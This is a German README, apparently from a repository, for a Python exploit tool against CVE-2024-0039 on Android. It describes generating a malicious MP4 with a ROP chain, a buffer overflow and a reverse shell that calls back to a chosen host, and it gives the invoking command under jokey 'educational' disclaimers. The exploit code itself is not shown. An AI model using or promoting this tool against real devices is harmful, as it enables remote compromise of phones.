CVE-2024-0039-Exploit

Beschreibung

Python-Skript zur Ausnutzung der Schwachstelle CVE-2024-0039: Ausführung von beliebigem Code auf anfälligen Android-Geräten.

ACHTUNG: Dieser Code dient nur zu Bildungs- und Schaffenszwecken, im Dienste des Guten, sozusagen!

Verwendung

Führen Sie das Skript mit den erforderlichen Argumenten aus:

python exploit.py --cb-host <Ваш IP> --cb-port <Ваш порт> --output exploit.mp4

Projektstruktur

• exploit.py: Das Haupt-Exploit-Skript, das eine schädliche MP4-Datei erstellt und den Ausführungsprozess protokolliert.
• logs/: Tagebuch für Ihre bildungsschöpferischen Bösewichte.
  • exploit.log:
• utils/: Hier wurden Helfer für die Code-Sauberkeit ausgelagert.
  • helpers.py
• tests/: Tests (wir halten uns an bewährte Praktiken)
  • exploit.test.py

Was dieser Code tut:

Funktion create_malicious_payload

Erstellt eine schädliche Nutzlast mit einer ROP-Kette und einem Reverse-Shell.

• ROP-Kette erstellen: Einrichtung einer ROP-Kette zur Ausführung von beliebigem Code.
• Buffer-Überlauf erstellen (und mit 'A' füllen): Füllen des Puffers mit 'A's für den Überlauf.
• Nutzlast für Reverse-Shell erstellen (versuchen Sie das nicht zu Hause): Einrichtung der Reverse-Shell.

Funktion write_to_file

• Generiere das Gute in eine Datei

Hauptteil des Codes

• Erstellen der Datei mit dem Guten
• Schreiben in die Datei
• Erfolgsmeldung über die Dateierstellung

Protokollierung

Logs werden in logs/exploit.log gespeichert. Protokolliert die Aktionen des Skripts, wie die Erstellung der ROP-Kette, den Buffer-Überlauf, das Schreiben in die Datei und die erfolgreiche Ausführung des Exploits.

Hinweis

• Alle Adressen und Befehle in der ROP-Kette sind beispielhaft und müssen entsprechend der spezifischen Schwachstelle und dem Ziel angepasst werden.
• Dieser Code dient ausschließlich Bildungszwecken und sollte nicht für unbefugte Handlungen verwendet werden.

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe Datei LICENSE für Details. Denn sogar Hacking sollte legal sein... naja, fast.